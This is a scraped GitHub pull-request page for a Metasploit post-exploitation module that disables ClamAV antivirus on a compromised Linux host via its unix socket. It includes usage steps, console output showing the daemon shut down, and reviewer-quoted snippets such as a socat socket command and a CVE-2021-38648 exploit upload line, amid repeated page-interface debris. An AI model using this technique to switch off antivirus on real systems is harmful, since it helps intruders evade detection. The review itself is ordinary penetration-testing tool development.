Disable clamav via unix socket by archcloudlabs · Pull Request #17672 · rapid7/metasploit-framework

archcloudlabs · 2023-02-20T00:55:31Z

This PR includes an additional metasploit module that will disable ClamAV on Linux systems.
The bug resides in the ClamAV Unix socket permitting any user to submit the "shutdown" command which will disable ClamAV.

This is bug is referenced in an open PR in the ClamAV repo here.

This module differs from clamav_control as it requires a Unix socket to interact with.

Verification

List the steps needed to make sure this thing works

### Shuting off ClamAV
  1. Launch `msfconsole`
  2. Get a Meterpreter shell on a Linux host that's also running ClamAV.
  3. Do: `use post/linux/manage/disable_clamav`
  4. Do: `set SESSION <session number on the Linux host>`
  6. Do: `exploit -j`
  7. The daemon should be shutoff.

## Scenarios

msf6 post(linux/manage/disable_clamav) > sessions

Active sessions
===============

  Id  Name  Type                   Information               Connection
  --  ----  ----                   -----------               ----------
  4         meterpreter x86/linux  dllcoolj @ 192.168.130.1  127.0.0.1:4444 -> 127.0.0.1:38360 (127.0.0.1)

msf6 post(linux/manage/disable_clamav) > show options

Module options (post/linux/manage/disable_clamav):

   Name                Current Setting        Required  Description
   ----                ---------------        --------  -----------
   CLAMAV_UNIX_SOCKET  /run/clamav/clamd.ctl  yes       ClamAV unix socket
   SESSION             4                      yes       The session to run this module on


View the full module info with the info, or info -d command.

msf6 post(linux/manage/disable_clamav) > ps -ef | grep 'clamd'
[*] exec: ps -ef | grep 'clamd'

clamav    132021       1 16 18:51 ?        00:00:09 clamd
dllcoolj  132533   71177  0 18:52 pts/3    00:00:00 sh -c ps -ef | grep 'clamd'
dllcoolj  132535  132533  0 18:52 pts/3    00:00:00 grep clamd
msf6 post(linux/manage/disable_clamav) > exploit -j
[*] Post module running as background job 10.
msf6 post(linux/manage/disable_clamav) >
[*] Checking file path /run/clamav/clamd.ctl exists and is writable...
[+] File does exist and is writable!
[*] Shutting down ClamAV!

msf6 post(linux/manage/disable_clamav) > ps -ef | grep 'clamd'
[*] exec: ps -ef | grep 'clamd'

dllcoolj  132927  132925  0 18:52 pts/3    00:00:00 grep clamd

Video

A walk through demonstrating this module can be seen here.

adfoster-r7 · 2023-02-20T08:50:04Z

modules/post/linux/manage/disable_clamav.rb

+    if writable?(datastore[CLAMAV_UNIX_SOCKET].to_s)
+      print_good('File does exist and is writable!')
+
+      Socket.unix(datastore[CLAMAV_UNIX_SOCKET].to_s) do |sock|


Just to confirm - does this approach work against a remote target?

i.e. won't this only shut down a Socket on the current host machine, and not the remote target?

For reference - here's an example of a module that uses socat that's available on the remote host to interact with the socket on the remote file system:

metasploit-framework/lib/msf/core/post/linux/f5_mcp.rb

Line 117 in db29036

incoming_data = cmd_exec("echo '#{message}' | base64 -d | socat -t100 - UNIX-CONNECT:/var/run/mcp")

And here's an example of using python that's on the remote host to interact with the remote socket:

metasploit-framework/modules/exploits/linux/local/cve_2021_38648_omigod.rb

Lines 165 to 166 in db29036

upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))

cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'"

It uploads the following python script:

https://github.com/rapid7/metasploit-framework/blob/db290369a4ba59744870e31e29c1d3eb4688fc97/data/exploits/CVE-2021-38648/cve_2021_38648.py

Just to confirm - does this approach work against a remote target?

i.e. won't this only shut down a Socket on the current host machine, and not the remote target?

Correct, this is a post module to disable clamav after a linux host has been compromised.

Thanks for the update!

As Metasploit won't always be running on the same host as the target, the module would have to be updated to also work remotely - like in the module examples above 👍

To clarify, this module is a post, module meant to be executed through a meterpreter session. The meterpreter session can be on a remote host and this should still execute without issue.

Originally I interpreted "work on remote target" as "will this work against a ip:port combo?". My bad!

Hey @archcloudlabs, I gave this test. With msfconsole running on one machine, and clamav running on a separate machine and I got the following error:

msf6 post(linux/manage/disable_clamav) > rexploit [*] Reloading module... [*] Checking file path /run/clamav/clamd.ctl exists and is writable... [+] File does exist and is writable! [-] Post failed: Errno::ENOENT No such file or directory - connect(2) for /run/clamav/clamd.ctl [-] Call stack: [-] /Users/jheysel/.rvm/rubies/ruby-3.0.2/lib/ruby/3.0.0/socket.rb:64:in `connect' [-] /Users/jheysel/.rvm/rubies/ruby-3.0.2/lib/ruby/3.0.0/socket.rb:64:in `connect_internal' [-] /Users/jheysel/.rvm/rubies/ruby-3.0.2/lib/ruby/3.0.0/socket.rb:137:in `connect' [-] /Users/jheysel/.rvm/rubies/ruby-3.0.2/lib/ruby/3.0.0/socket.rb:1078:in `unix' [-] /Users/jheysel/rapid7/metasploit-framework/modules/post/linux/manage/disable_clamav.rb:38:in `run' [*] Post module execution completed

I think this is the issue that @adfoster-r7 was trying to point out. As it's written, the module only works if msfconsole is running on the same machine you're trying to exploit.

Socket.unix(datastore[CLAMAV_UNIX_SOCKET].to_s) do |sock| interacts with the filesystem that msfconsole is running on and not specifically the filesystem the meterpreter session is running on. In your case, because you're running msfconsole and on the same system as your meterpreter session and clamav, the exploit works. The examples posted above should help resolve this issue.

Please let us know if you'd like any further clarification, we're happy and hear to help!

Thank you for clarifying, I apologize for misunderstanding originally.
I've gone ahead and copied the F5 example and check if socat is on the target host before executing the SHUTDOWN command.
Let me know if this is sufficient!

modules/post/linux/manage/disable_clamav.rb

archcloudlabs · 2023-02-23T02:56:14Z

Updating output below

msf6 post(linux/manage/disable_clamav) > sessions

Active sessions
===============

  Id  Name  Type                   Information                       Connection
  --  ----  ----                   -----------                       ----------
  3         meterpreter x86/linux  vagrant @ ubuntu2004.localdomain  172.16.0.63:4444 -> 192.168.121.172:39132 (192.168.121.172)

msf6 post(linux/manage/disable_clamav) > show options

Module options (post/linux/manage/disable_clamav):

   Name                Current Setting        Required  Description
   ----                ---------------        --------  -----------
   CLAMAV_UNIX_SOCKET  /run/clamav/clamd.ctl  yes       ClamAV unix socket
   COMMAND             SHUTDOWN               yes       ClamAV command to execute
   SESSION             3                      yes       The session to run this module on


View the full module info with the info, or info -d command.

msf6 post(linux/manage/disable_clamav) > exploit

[+] socat exists
[*] Checking file path /run/clamav/clamd.ctl exists and is writable...
[+] File does exist and is writable!
[+] Sending SHUTDOWN...
[*] Post module execution completed
msf6 post(linux/manage/disable_clamav) > ps -ef | grep 'clam'
[*] exec: ps -ef | grep 'clam'

dllcoolj   43931    6670  0 21:54 pts/2    00:00:00 sh -c ps -ef | grep 'clam'
dllcoolj   43933   43931  0 21:54 pts/2    00:00:00 grep clam

modules/post/linux/manage/disable_clamav.rb

jheysel-r7 · 2023-02-24T02:57:08Z

Release Notes

This PR includes post module that will disable ClamAV on Linux systems.

archcloudlabs · 2023-02-24T03:02:52Z

Thanks for all the pointers!

jheysel-r7 · 2023-02-24T15:52:43Z

Thanks for all the pointers!

Anytime! Thanks for the contribution 🙇

archcloudlabs added 4 commits February 19, 2023 19:49

initial commit of disable_clamav module

1f45b1e

Simplifying the module

fc5a38e

initial commit of disable_av documentation

f61c3bc

finisehd msftidy/rubocop fixs

bf5919f

adfoster-r7 reviewed Feb 20, 2023

View reviewed changes

gwillcox-r7 added module docs labels Feb 21, 2023

jheysel-r7 self-assigned this Feb 22, 2023

jheysel-r7 reviewed Feb 22, 2023

View reviewed changes

modules/post/linux/manage/disable_clamav.rb Outdated Show resolved Hide resolved

archcloudlabs added 3 commits February 22, 2023 20:36

removing to_str

55371f9

updated w/ socat method

9ff4cdf

msftidy and notes

10552cb

jmartin-tech reviewed Feb 23, 2023

View reviewed changes

modules/post/linux/manage/disable_clamav.rb Show resolved Hide resolved

jheysel-r7 added 2 commits February 23, 2023 16:21

Added nc and python cmd techniques

2ed89dd

Spelling

8db2552

jmartin-tech reviewed Feb 23, 2023

View reviewed changes

modules/post/linux/manage/disable_clamav.rb Outdated Show resolved Hide resolved

jheysel-r7 added 2 commits February 23, 2023 17:33

Changed print_bad to fail_with

5e2f096

Added missing space in fail_with statement

9a874c3

jheysel-r7 merged commit 5749b40 into rapid7:master Feb 24, 2023

jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Feb 24, 2023

defnull mentioned this pull request Feb 8, 2024

Rework clamd command protocol (insecure by design) Cisco-Talos/clamav#1169

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Disable clamav via unix socket#17672

Disable clamav via unix socket#17672
jheysel-r7 merged 11 commits intorapid7:masterfrom
archcloudlabs:disable_clamav_via_unix_socket

archcloudlabs commented Feb 20, 2023

Uh oh!

adfoster-r7 Feb 20, 2023

Uh oh!

adfoster-r7 Feb 20, 2023

Uh oh!

archcloudlabs Feb 20, 2023

Uh oh!

adfoster-r7 Feb 21, 2023

Uh oh!

archcloudlabs Feb 21, 2023 •

edited

Loading

Uh oh!

jheysel-r7 Feb 22, 2023

Uh oh!

archcloudlabs Feb 23, 2023

Uh oh!

Uh oh!

archcloudlabs commented Feb 23, 2023

Uh oh!

Uh oh!

Uh oh!

jheysel-r7 commented Feb 24, 2023

Uh oh!

archcloudlabs commented Feb 24, 2023

Uh oh!

jheysel-r7 commented Feb 24, 2023

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

5 participants

	upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))
	cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'"

Conversation

archcloudlabs commented Feb 20, 2023

Verification

Video

Uh oh!

adfoster-r7 Feb 20, 2023

Choose a reason for hiding this comment

Uh oh!

adfoster-r7 Feb 20, 2023

Choose a reason for hiding this comment

Uh oh!

archcloudlabs Feb 20, 2023

Choose a reason for hiding this comment

Uh oh!

adfoster-r7 Feb 21, 2023

Choose a reason for hiding this comment

Uh oh!

archcloudlabs Feb 21, 2023 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

jheysel-r7 Feb 22, 2023

Choose a reason for hiding this comment

Uh oh!

archcloudlabs Feb 23, 2023

Choose a reason for hiding this comment

Uh oh!

Uh oh!

archcloudlabs commented Feb 23, 2023

Uh oh!

Uh oh!

Uh oh!

jheysel-r7 commented Feb 24, 2023

Release Notes

Uh oh!

archcloudlabs commented Feb 24, 2023

Uh oh!

jheysel-r7 commented Feb 24, 2023

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

5 participants

archcloudlabs Feb 21, 2023 •

edited

Loading